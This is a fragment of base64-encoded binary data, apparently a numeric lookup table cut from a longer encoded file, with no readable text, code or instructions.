/4KqToAAJk9AACMPgAAgT8AAHc/AABvPwAAaT4AAGI7AABdPQAAVz0AAFM+CQBPPhQATT8dAEo+JQFHPisCRD4xBEE9NwY/PT4HPT1FCTs9TAo5PVQLOD5dCzc+Zws1PnMLND5/CjM+jQoyPpwKMj6tCTE+wQkwPdgJMDzrCjA89wswO/0Lpj0AAJY/AACJQQAAfkIAAHRCAABsQgAAZUEAAF5AAABYQQAAUkIAAE5DBgBKQxEAR0QaAEREIgBCRCkBP0MvAzxDNQU5QzwHN0NCCDVDSgk0Q1IKMkNbCjFDZgowQ3EKL0R+CS5EjAkuRJsILUOsCCxDwAcrQ9cHK0LrCStA9gorQP0KokEAAJNCAACFRAAAe0UAAHFFAABpRQAAYUUAAFhFAABSRgAATUcAAEhIAgBESQ0AQUkXAD9KHwA8SiYBOUotAjdJMwQ0SToFMklBBzBJSAgvSVAILUlaCCxJZAgrSnAHKkp9BypKiwYpSpoGKEmrBSdJvwUmSNYFJkfqBiVG9gglRfwInkQAAI9FAACCRwAAd0gAAG5IAABlSQAAXUkAAFNKAABNSwAAR00AAENOAAA+TwkAOk8TADhQHAA2UCQAM1ArATFQMQIvUDgDLVA/BStQRgUqUE8FKFBYBSdQYwUmUG8EJVB8BCRQigQjUJkDI0+qAyJPvgIhTtUCIE3pBCBM9QUgS/wGmkcAAItJAAB/SgAAdEsAAGpMAABhTAAAWU0AAE9PAABJUAAAQ1IAAD1UAAA3VQUAM1YPADFWGAAvViAALVcoACtXLwEpVzYBJ1c9AiVXRAMkV00DIldWAiFXYQIgV20CH1d6AR5XiAEdVpgBHFapARtVvQAaVNQAG1PoARtS9QIaUfwDlkoAAIdMAAB7TQAAcE4AAGZPAABeUAAAVVEAAExTAABGVQAAP1cAADhZAAAxWwAALF0KAChdFAAmXRwAJF4kACNeKwAhXjIAIF46AB5eQgAdXkoAG15UABpeXgAZXmoAF153ABZehgAVXZUAFF2nABNcugASW9IAE1nnABNY9AAUWPsBkU4AAINQAAB3UQAAbFIAAGJTAABaVAAAUlUAAElYAABCWgAAO1wAADNeAAAsYQAAJGMFAB9lDgAdZRcAG2UfABllJgAYZS4AFmU1ABVlPQATZkYAEmZQABBmWgAOZWYADGVzAAplggAJZJEACGSiAAdjtQAGYcsAB2DhAAhf7wAJX/cAi1IAAH5UAAByVQAAaFYAAF9XAABXWAAATloAAEVdAAA9YAAANmIAAC5kAAAmZwAAHmoAABZsBwASbREAEG0ZAA1tIAAMbSgACm0wAAltOAAHbUEABm1LAARtVQACbWEAAG1uAABsfAAAbIwAAGudAABrsAAAacYAAGjbAABn6QAAZvEAhVcAAHlYAABtWQAAZFoAAFxbAABTXQAASmAAAEFjAAA4ZgAAMGkAAChrAAAgbgAAGHEAABBzAgAHdQoAAnYTAAB2GwAAdSIAAHYqAAB2MgAAdjsAAHVFAAB1TwAAdVsAAHVoAAB1dwAAdIYAAHSXAABzqgAAcr8AAHHXAABw6AAAb+8AgFsAAHRcAABpXQAAYV4AAFhgAABPYwAARmYAADxqAAAzbQAAKnAAACJzAAAadgAAEngAAAh7AAAAfAgAAH0PAAB9FgAAfh0AAH4kAAB+KwAAfzMAAH89AAB+SQAAflQAAH9hAAB+cAAAfoEAAH2SAAB9pAAAe7gAAHrPAAB55AAAee4AemAAAG9hAABmYgAAXWMAAFNmAABKagAAQG4AADZyAAAtdgAAJHgAABt7AAASfgAACoAAAAGDAAAAhAMAAIUKAACGEQAAhhcAAIcdAACIJAAAiCsAAIk1AACJQAAAiE0AAIlaAACJaQAAiXoAAIiMAACHngAAhrEAAIXHAACE3AAAhOgAdWUAAGtmAABjZwAAWGoAAE5uAABEcwAAOXcAAC97AAAlfwAAHIEAABOEAAAJhwAAAYoAAACMAAAAjgAAAI8CAACPCAAAkA4AAJEVAACRGwAAkiIAAJQqAACVNQAAlUIAAJVQAACWXgAAlm8AAJWCAACUlQAAk6kAAJK8AACR0AAAkOEAcWsAAGlrAABebwAAU3MAAEl4AAA9fQAAMoEAACiFAAAdiQAAFIwAAAqOAAABkQAAAJQAAACWAAAAmAAAAJkAAACZAAAAmgUAAJsLAACcEgAAnRkAAJ8gAACgKgAAojYAAKFEAACiVAAAo2UAAKN4AACijAAAop8AAKGyAACgwwAAoNEAb3AAAGRzAABZeAAATn0AAEOCAAA3hwAAK4wAACGQAAAWlAAAC5cAAAGZAAAAnAAAAJ4AAACgAAAAogAAAKMAAACkAAAApQAAAKYBAACnBwAAqA4AAKoXAACsHwAArioAAK83AACvSAAAsVoAALFtAACxgAAAsZQAALCmAACwtgAAsMMAangAAF99AABUggAASYgAADyOAAAxkwAAJZgAABqcAAAOnwAAA6IAAAClAAAApwAAAKkAAACsAAAArQAAAK8AAACwAAAAsgAAALMAAAC0AAAAtgAAALgHAAC7EAAAvRsAAL8nAADCNgAAxEgAAMVeAADEcwAAxIcAAMSYAADDpwAAw7IAZoIAAFuIAABQjgAARJQAADeaAAArnwAAIKQAABWoAAAIrAAAAK4AAACxAAAAtAAAALUAAAC3AAAAuAAAALoAAAC8AAAAvgAAAL8AAADBAAAAwwAAAMYAAADJAgAAzgsAANIYAADVJgAA2jcAAN5LAADhXwAA4nMAAOGGAADglQAA36AA/wAAAP8AAAD/AAAA/wAIAPwAFQD5ACIA9QAuAPEAOgDwAEMA7ABNAOkAVQDmAF0A4wBjAN8AaQDcAG4A2QBzANcAeADVAHwA0wCBANIAhgDQAIsAzwCRAM4AmADMAKAAygCqAMgAtwDGAMkAxADiAMMA9gDCAP8AwgD/AMMA/wDDAP8A/wAAAP8AAAD/AAAA+QAFAPMAEgDtAB4A6AAqAOUANQDjAD8A4ABIANkAUQDTAFgAzwBfAM0AZQDLAGoAygBvAMkAdADIAHgAxwB9AMYAgQDEAIcAwwCNAMIAkwDAAJsAvgCmALwAsgC7AMIAuQDaALcA8AC2AP8AtgD/ALcA/wC3AP8A/wAAAP8AAAD5AAAA7QABAOYADQDeABsA2gAlANYAMADQADoAzABDAMgATADFAFMAwwBaAMEAYAC/AGUAvgBqALwAbwC7AHQAugB4ALkAfQC4AIIAtwCIALUAjwC0AJcAsgCgALEArACvALsArQDRAKwA6QCrAPsAqwD/AKsA/wCrAP8A/wAAAPgAAADrAAAA4AAAANUACQDOABYAyQAhAMIAKwC/ADUAvgA/ALsARwC5AE4AtgBVALQAWwCzAGAAsgBlALAAagCvAG8ArgBzAK0AeACsAH4AqwCEAKkAigCoAJIApwCbAKUApwCjALQAogDIAKAA4QCgAPUAoAD/AJ8A/wCfAP8A+gAAAO0AAADdAAAA0QAAAMcABQDAABAAuAAcALUAJgCyADAAsAA5AK8AQgCsAEkAqgBQAKkAVgCnAFsApgBgAKUAZQCkAGkAowBuAKIAcwChAHkAnwB/AJ4AhgCdAI0AmwCXAJoAogCYAK8AlgDBAJUA2ACUAO8AkwD8AJMA/wCSAP8A8AAAAN4AAADPAAAAwgAAALoAAACyAAsArQAWAKkAIQCnACsApQA0AKMAPAChAEQAnwBKAJ4AUACcAFYAmwBbAJoAYACZAGQAmABpAJYAbwCVAHQAlAB6AJIAgQCQAIkAjwCSAI0AngCMAKoAigC6AIkA0ACJAOcAiAD3AIgA/wCIAP8A5gAAANIAAADBAAAAtgAAAK4AAACnAAUAowARAJ8AGwCdACUAmwAuAJkANwCXAD4AlQBFAJMASwCSAFEAkABWAI8AWwCOAGAAjABlAIsAagCKAHAAiQB2AIcAfQCGAIUAhQCPAIMAmgCCAKcAgQC2AIAAygB/AOEAfgDyAH4A/AB+AP8A2QAAAMUAAAC2AAAAqgAAAKMAAACfAAAAmgAKAJYAFQCUAB8AkQApAI8AMQCMADkAiwBAAIkARgCIAEwAhgBRAIUAVgCEAFsAgwBgAIIAZgCBAGwAfwByAH4AegB8AIIAewCMAHkAlwB4AKQAdwCzAHYAxQB1ANwAdADuAHQA+ABzAP0AzgIAALsHAACsCgAAogoAAJoJAACVBQAAkgADAI8ADgCMABkAiQAiAIYALACEADMAggA7AIEAQQB/AEcAfgBNAH0AUgB8AFcAegBcAHkAYgB3AGgAdgBvAHUAdwBzAIAAcQCKAHAAlQBvAKIAbQCwAGwAwwBrANkAagDqAGoA9ABpAPoAxQ0AALMSAACkFQAAmhUAAJIUAACMEgAAiQ0AAIcFBgCFARIAgQAcAH8BJgB8Ai4AegM2AHgEPQB3BEMAdgVIAHQFTgBzBlMAcQZZAHAGXwBvBmUAbQdsAGwHdQBqB34AaAiIAGcIlABlCKEAZAixAGMIwwBiCdkAYQrqAGAK9QBgCvsAvhYAAKsaAACeHAAAkx0AAIscAACFGwAAgRcAAH8TAAB+CwkAewoWAHcLIAB1DCkAcw0xAHENOABvDj8Abg5FAGwPSgBrEFAAaRBWAGgQXABmEWMAZBFqAGMRcwBhEn0AYBKHAF4TlABdE6EAWxOxAFoTxABZE9sAWBTtAFgU+ABYFP4AtxwAAKYgAACYIgAAjSMAAIUjAAB/IQAAeh8AAHcbAAB1F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xcAALkjAAC7MgAAvEUAAL1ZAAC+bgAAv4EAAL+UAAC/pAAAvq8AXXsAAFKBAABHhwAAOo4AAC6UAAAimQAAF54AAAqiAAAApQAAAKgAAACqAAAArQAAAK8AAACyAAAAswAAALUAAAC3AAAAuQAAALoAAAC8AAAAvgAAAMAAAADDAAAAyQYAAMwTAADPIAAA0zEAANdFAADZXAAA2HMAANaGAADYlQAA2KAA/wAAAP8AAAD/AAAA/wAGAPoAEgD1AB8A8gAqAO4ANQDoAD8A5QBIAOEAUADeAFgA2wBeANkAZADXAGkA1QBuANMAcwDSAHgA0QB9ANAAggDOAIcAzQCNAMsAlADKAJ0AyACnAMcAswDFAMcAwwDfAMEA9QC/AP8AvgD/AL4A/wC/AP8A/wAAAP8AAAD8AAAA9gACAO4AEADpABsA4gAmANwAMQDaADsA2ABDANQATADRAFMAzgBaAMsAXwDJAGUAxwBqAMYAbgDEAHMAwwB4AMIAfQDBAIMAvwCJAL4AkAC9AJgAuwCiALoArQC4AL8AtgDWALUA7wCzAP8AsgD/ALIA/wCzAP8A/wAAAP4AAADyAAAA6AAAAOAACgDYABcAzwAhAMwALADKADYAyQA/AMUARwDCAE4AvwBVAL0AWgC8AGAAugBlALkAaQC3AG4AtgBzALUAeAC0AH4AswCEALEAiwCwAJMArwCdAK0AqACsALcAqgDMAKkA5wCnAPoApwD/AKcA/wCnAP8A/wAAAPEAAADlAAAA2QAAAM8ABgDFABIAwAAdAL0AJwC7ADEAuQA6ALcAQgC0AEkAsgBPALAAVQCvAFoArQBfAKwAZACrAGkAqgBuAKgAcwCnAHkApgB/AKQAhgCjAI4AoQCXAKAAogCeALAAnQDDAJwA3gCbAPMAmgD/AJoA/wCaAP8A9AAAAOMAAADUAAAAyAAAAL0AAgC3AA0AsgAYAK8AIgCtACsAqwA0AKoAPQCoAEQApgBKAKQAUACiAFUAoABaAJ8AXwCdAGQAnABpAJsAbgCaAHQAmQB6AJcAgQCWAIkAlQCSAJMAnQCSAKsAkAC7AI8A1ACOAOwAjgD8AI4A/wCOAP8A5gAAANUAAADFAAAAugAAALAAAACqAAgApgATAKMAHQChACcAnwAvAJwANwCaAD4AmABFAJcASwCVAFAAlABVAJMAWgCSA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y4AAM1EAADPWgAA0W8AANGCAADSkgAA0p8A/wAAAP8AAAD/AAAA/QADAPgAEADvABoA6wAmAOoAMADoADoA5QBDAOEASwDeAFMA2wBZANkAXwDWAGQA1ABpANMAbgDRAHIAzwB3AM4AfQDMAIMAygCJAMkAkQDHAJkAxgCkAMQAsADCAMIAwQDcAL8A9gC+AP8AvQD/ALwA/wC7AP8A/wAAAP8AAAD7AAAA8gAAAOkACwDhABgA3QAhANsALADZADYA1wA/ANMARwDPAE4AzABUAMoAWgDIAF8AxgBkAMQAaQDDAG0AwQByAL8AeAC8AH4AugCEALkAjAC3AJQAtQCeALQAqgCyALoAsQDQALAA7gCwAP8AsAD/AK8A/wCvAP8A/wAAAPgAAADtAAAA5AAAANYABwDQABMAzAAeAMkAJwDHADEAxgA6AMMAQgC/AEkAuwBPALgAVQC2AFoAtABfALIAZACxAGgAsABtAK4AcwCtAHkArAB/AKoAhwCpAI8AqACZAKYApQClALMApADHAKMA5QCiAPoAoQD/AKEA/wChAP8A+QAAAOsAAADeAAAAzwAAAMUAAwC/AA4AuwAZALkAIwC2ACwAswA1ALAAPQCtAEQAqwBKAKkAUACoAFUApwBaAKUAXgCkAGMAowBoAKIAbQChAHMAnwB6AJ4AgQCdAIoAnACUAJoAnwCZAKwAmAC+AJcA2wCWAPMAlQD/AJUA/wCVAP8A6wAAANsAAADMAAAAvgAAALYAAACwAAkArAAUAKkAHgClACcApAAvAKMAOAChAD8AnwBFAJ0ASwCcAFAAmgBUAJkAWQCYAF4AlwBjAJUAaACUAG4AkwB0AJEAfACQAIQAjwCOAI4AmgCMAKcAiwC3AIoA0ACKAOsAiQD9AIkA/wCJAP8A3gAAAMsAAAC7AAAAsQAAAKkAAACjAAQAngAPAJsAGQCZACIAlwArAJYAMgCVADoAkwBAAJEARgCPAEsAjgBQAI0AVACMAFkAiwBeAIkAYwCIAGkAhwBvAIYAdwCEAH8AhACJAIIAlQCBAKIAgACxAH8AxwB+AOIAfgD1AH4A/wB+AP8AzwAAAL0AAACvAAAApQAAAJ4AAACYAAAAkwAKAJAAFACNAB0AiwAlAIoALQCJADQAiAA7AIYAQQCFAEYAgwBLAIIAUACBAFQAgABZAH8AXgB+AGQAfABrAHsAcgB5AHoAeQCFAHgAkAB2AJ0AdQCsAHQAvwBzANgAcwDuAHMA/QBzAP8AxAAAALEAAACkAAAAmgAAAJIAAACNAAAAiQAEAIYADgCEABgAggAgAIAAKAB/AC8AfgA2AHwAPAB7AEEAegBGAHgASwB3AFAAdgBVAHUAWgBzAGAAcgBmAHAAbgBvAHYAbgCBAG0AjABsAJkAagCoAGkAuQBpAM8AaADpAGgA9wBoAP8AuQAAAKgAAACbAAAAkAIAAIkAAACEAAAAgQAAAH4ACAB7ABIAeQAaAHcAIwB1ACoAdAAxAHMANwBxADwAcABCAG8ARwBtAEsAbABRAGsAVgBpAFwAaABjAGYAagBlAHMAZAB+AGMAiQBhAJYAYACkAF8AtABfAMoAXgDiAF4A8wB